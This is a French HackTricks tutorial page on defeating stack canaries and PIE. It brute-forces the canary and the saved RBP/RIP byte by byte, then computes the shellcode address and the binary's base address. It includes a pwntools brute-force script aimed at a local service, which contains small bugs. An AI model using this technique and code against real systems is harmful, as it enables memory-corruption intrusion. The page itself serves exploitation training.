BF Addresses in the Stack

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.

Notez que checksec pourrait ne pas trouver qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction. Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.

Adresses BF

Pour contourner le PIE, vous devez fuir une adresse. Et si le binaire ne fuit aucune adresse, le mieux à faire est de forcer le RBP et le RIP enregistrés dans la pile dans la fonction vulnérable. Par exemple, si un binaire est protégé à la fois par un canari et PIE, vous pouvez commencer à forcer le canari, puis les 8 octets suivants (x64) seront le RBP enregistré et les 8 octets suivants seront le RIP enregistré.

Il est supposé que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité est située dans le code binaire, sera généralement le cas.

Pour forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme affiche quelque chose ou s'il ne plante tout simplement pas. La même fonction que celle fournie pour forcer le canari peut être utilisée pour forcer le RBP et le RIP :

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

La dernière chose dont vous avez besoin pour contourner le PIE est de calculer des adresses utiles à partir des adresses divulguées : le RBP et le RIP.

À partir du RBP, vous pouvez calculer où vous écrivez votre shell dans la pile. Cela peut être très utile pour savoir où vous allez écrire la chaîne "/bin/sh\x00" à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un point d'arrêt après avoir divulgué le RBP et vérifier où se trouve votre shellcode, puis calculer la distance entre le shellcode et le RBP :

INI_SHELLCODE = RBP - 1152

À partir du RIP, vous pouvez calculer l'adresse de base du binaire PIE dont vous aurez besoin pour créer une chaîne ROP valide. Pour calculer l'adresse de base, exécutez simplement objdump -d vunbinary et vérifiez les dernières adresses désassemblées :

Dans cet exemple, vous pouvez voir qu'il suffit de 1 byte et demi pour localiser tout le code, donc, l'adresse de base dans cette situation sera le RIP divulgué mais se terminant par "000". Par exemple, si vous avez divulgué 0x562002970ecf, l'adresse de base sera 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour